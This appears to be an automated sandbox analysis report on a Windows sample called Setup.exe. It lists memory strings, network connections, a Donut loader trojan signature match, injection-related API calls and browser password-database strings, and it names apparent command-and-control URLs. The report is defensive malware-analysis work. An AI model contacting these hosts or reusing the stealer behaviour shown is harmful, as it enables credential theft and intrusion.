Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Setup.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: Setup.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: Setup.exe, Setup.exe, 00000000.00000002.4558170646.0000000003E7C000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556995621.0000000000594000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419130879.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019587641.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419113996.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556835270.0000000000539000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4557073955.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Setup.exe, 00000000.00000002.4557134720.0000000000604000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419040702.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: Setup.exe, 00000000.00000003.2375480600.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2363473163.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4558137225.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019587641.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362047618.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556835270.0000000000539000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2351291956.0000000003E6E000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419023414.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/
Source: Setup.exe, 00000000.00000003.2388327596.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/6
Source: Setup.exe, 00000000.00000003.2398589361.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/A
Source: Setup.exe, 00000000.00000003.2375656583.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2375480600.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388327596.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/D
Source: Setup.exe, 00000000.00000003.3019416138.0000000000582000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388429941.0000000000601000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419113996.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4557073955.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388484860.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/api
Source: Setup.exe, 00000000.00000002.4556835270.0000000000585000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019416138.0000000000582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/api4
Source: Setup.exe, 00000000.00000003.2388429941.0000000000601000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388484860.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou/apid
Source: Setup.exe, 00000000.00000003.2398638736.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monkeycutte.cyou:443/apitPWdtPBE87140A
Source: Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Setup.exe, 00000000.00000003.2363246624.0000000003E8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.6:49865 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\Setup.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00423A90 NtdllDefWindowProc_A,	0_2_00423A90
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0044C328 NtdllDefWindowProc_A,	0_2_0044C328
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004303D4 NtdllDefWindowProc_A,	0_2_004303D4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004125DC NtdllDefWindowProc_A,	0_2_004125DC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004125AD NtdllDefWindowProc_A,	0_2_004125AD
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0047AC70 NtdllDefWindowProc_A,	0_2_0047AC70
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0042F230 NtdllDefWindowProc_A,	0_2_0042F230
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00459DE0 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	0_2_00459DE0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_03192D8D NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,	0_2_03192D8D

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0042E644: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

0_2_0042E644

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0045806C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_0045806C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0049688C ExitWindowsEx,		0_2_0049688C

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004314A4	0_2_004314A4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004900DC	0_2_004900DC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0043015C	0_2_0043015C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004321C8	0_2_004321C8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00444194	0_2_00444194
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004882D0	0_2_004882D0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0048240C	0_2_0048240C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00454588	0_2_00454588
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0044473C	0_2_0044473C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00434BAC	0_2_00434BAC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00430BB4	0_2_00430BB4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00430CF4	0_2_00430CF4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00444E34	0_2_00444E34
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004310AC	0_2_004310AC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0047316C	0_2_0047316C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00431104	0_2_00431104
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00445258	0_2_00445258
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00489204	0_2_00489204
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00431760	0_2_00431760
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00431738	0_2_00431738
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0043DA1C	0_2_0043DA1C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00461B20	0_2_00461B20
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0045DC7C	0_2_0045DC7C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00469E70	0_2_00469E70
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0046BED4	0_2_0046BED4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00433EA8	0_2_00433EA8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031403CD	0_2_031403CD
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_03192D8D	0_2_03192D8D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317E31A	0_2_0317E31A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314B31A	0_2_0314B31A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315F31A	0_2_0315F31A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317D30A	0_2_0317D30A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314F390	0_2_0314F390
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031443BA	0_2_031443BA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031473AA	0_2_031473AA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031703EA	0_2_031703EA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314A2AA	0_2_0314A2AA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315C2FA	0_2_0315C2FA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031642EA	0_2_031642EA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315E152	0_2_0315E152
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317B160	0_2_0317B160
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314519A	0_2_0314519A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031831C9	0_2_031831C9
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031481FA	0_2_031481FA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315C01A	0_2_0315C01A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_03140000	0_2_03140000
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_03173057	0_2_03173057
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315404A	0_2_0315404A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031780B3	0_2_031780B3
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317671A	0_2_0317671A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315F71A	0_2_0315F71A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317B75F	0_2_0317B75F
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315879C	0_2_0315879C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0317879A	0_2_0317879A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314479A	0_2_0314479A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0316762A	0_2_0316762A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031696C2	0_2_031696C2
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031466CA	0_2_031466CA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0315350F	0_2_0315350F

Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 004058DC appears 110 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00403650 appears 233 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00433DC0 appears 32 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00406A90 appears 39 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00445AB8 appears 55 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00445D88 appears 64 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 0315642A appears 46 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 004033CC appears 62 times

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: Setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: Setup.exe, 00000000.00000000.2107542198.00000000004AE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Setup.exe
Source: Setup.exe, 00000000.00000003.2297984461.00000000037CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Setup.exe
Source: Setup.exe	Binary or memory string: OriginalFilenameshfolder.dll~/ vs Setup.exe

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0045806C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

0_2_0045806C

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004588A8 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

0_2_004588A8

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_03140ADD CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,CloseHandle,

0_2_03140ADD

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00470494 GetVersion,CoCreateInstance,

0_2_00470494

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0040AFD8 FindResourceA,FreeResource,

0_2_0040AFD8

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe, 00000000.00000003.2335894065.0000000003E7D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335538614.0000000003E99000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2352050686.0000000003E83000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2351928487.0000000003E90000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Setup.exe

ReversingLabs: Detection: 18%

Source: Setup.exe	String found in binary or memory: /LoadInf=
Source: Setup.exe	String found in binary or memory: /LoadInf=
Source: Setup.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Setup.exe

Static file information: File size 74584245 > 1048576

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00448314 LoadLibraryExA,LoadLibraryA,GetProcAddress,

0_2_00448314

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7C683 push esi; iretd	0_3_03E7C69E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7C683 push esi; iretd	0_3_03E7C69E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7E71A push cs; iretd	0_3_03E7E71B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7E71A push cs; iretd	0_3_03E7E71B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7C683 push esi; iretd	0_3_03E7C69E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7C683 push esi; iretd	0_3_03E7C69E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7E71A push cs; iretd	0_3_03E7E71B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_3_03E7E71A push cs; iretd	0_3_03E7E71B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0045A7EC push 0045A824h; ret	0_2_0045A81C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00409954 push 00409991h; ret	0_2_00409989
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040A04F push ds; ret	0_2_0040A050
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040A023 push ds; ret	0_2_0040A04D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406254 push ecx; mov dword ptr [esp], eax	0_2_00406255
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004543C4 push 004543F7h; ret	0_2_004543EF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00454588 push ecx; mov dword ptr [esp], eax	0_2_0045458D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004106E0 push ecx; mov dword ptr [esp], edx	0_2_004106E5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00462778 push ecx; mov dword ptr [esp], ecx	0_2_0046277C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0041292C push 0041298Fh; ret	0_2_00412987
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0044C9B4 push 0044CA09h; ret	0_2_0044CA01
